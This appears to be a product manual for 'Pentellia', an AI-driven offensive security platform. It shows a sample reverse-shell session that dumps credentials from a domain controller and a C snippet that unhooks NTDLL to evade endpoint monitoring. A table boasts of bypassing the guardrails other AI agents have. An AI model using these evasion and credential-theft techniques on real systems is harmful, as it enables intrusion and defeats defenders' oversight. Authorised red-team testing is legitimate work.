This comprehensive manual outlines every technical layer of the Pentellia offensive platform—detailing our core Agentic AI planning loop, polymorphic unhooking processes, CLI telemetry structures, and multi-tenant environment validation systems.
Traditional validation platforms operate on rigid templates and static playbooks. When faced with advanced, adaptive networks, these tools yield high rates of false reports or generate excessive noise, triggering active security defense controls.
Pentellia redefines this lifecycle. By treating environment validation as a reinforcement learning optimization problem, Pentellia's AI cores adaptively change target behaviors, select silent lateral paths, bypass endpoint triggers, and test defense architectures continuously.
At the core of the user workflow is the Operations Grid, combining real-time telemetry overlays, map topologies, and telemetry consoles.
Operating alongside the dashboard is our lightweight CLI agent. The CLI agent communicates via encrypted reverse-takeover shells, executing local audits and harvesting credentials silently.
$ pentellia-agent --target 192.168.12.44 --mode stealth [*] Initializing reverse-connection loop... [+] Shell established: target-user@corp-dc-01 $ whoami /priv SeBackupPrivilege Enabled SeRestorePrivilege Enabled [+] Privileges verified. Initiating shadow IT credential dump...
Pentellia continuously maps external risk profiles by collecting domain records, legacy application endpoints, and shadow IT infrastructure.
Once assets are indexed, they are routed to the automated validation engine for vulnerability mapping and simulated intrusion testing.
Emulates Modbus TCP/IP registers to audit PLC device segments securely without modifying control variables.
Tracks credential pathways, child trust relationships, and delegation structures across multi-tenant networks.
Audits bucket permissions, IAM role configurations, and short-term STS token recycling parameters.
Checks REST/GraphQL gateway routes for input injection vulnerabilities and authentication bypass vectors.
Pentellia models state transitions dynamically. By formulating the target landscape as a Markov Decision Process, the agent plans multiple steps ahead, maximizing reward weights while minimizing network noise.
To bypass system API hooks, Pentellia uses dynamic unhooking, restoring original NTDLL code directly from disk to flush telemetry hooks.
void flush_hooks() {
HANDLE process = GetCurrentProcess();
// Re-mapping clean NTDLL sections from disk to clear hooks
LPVOID clean_ntdll = MapCleanModule("C:\\Windows\\System32\\ntdll.dll");
OverwriteHookedSections(process, clean_ntdll);
}
Connect validation logs directly to security operations centers (Splunk, Elastic, Webhooks) to measure defensive alert response times automatically.
| Evaluation Dimension | Pentellia Agent Core | Claude Code | GPT-4o (Cyber Agent) |
|---|---|---|---|
| Autonomous Exploit Chaining | Full multi-stage AI | Partial (Linear shell commands) | Assisted (User-in-the-loop only) |
| EDR Hook Bypassing | Dynamic Polymorphic XOR | Fails on system telemetry hooks | Fails (Hard-blocked by guardrails) |
| AWS Cloud STS Recycling | Continuous IAM Loop | Scripted credential extraction | Not supported |
| Stealth Lateral Movement | Q-Learning path selection | Fails (Triggers defense events) | Fails (Guardrail blocked) |
During the 2026 summer research session, student interns from Assam Science and Technology University (ASTU) analyzed integration loops with the Pentellia core: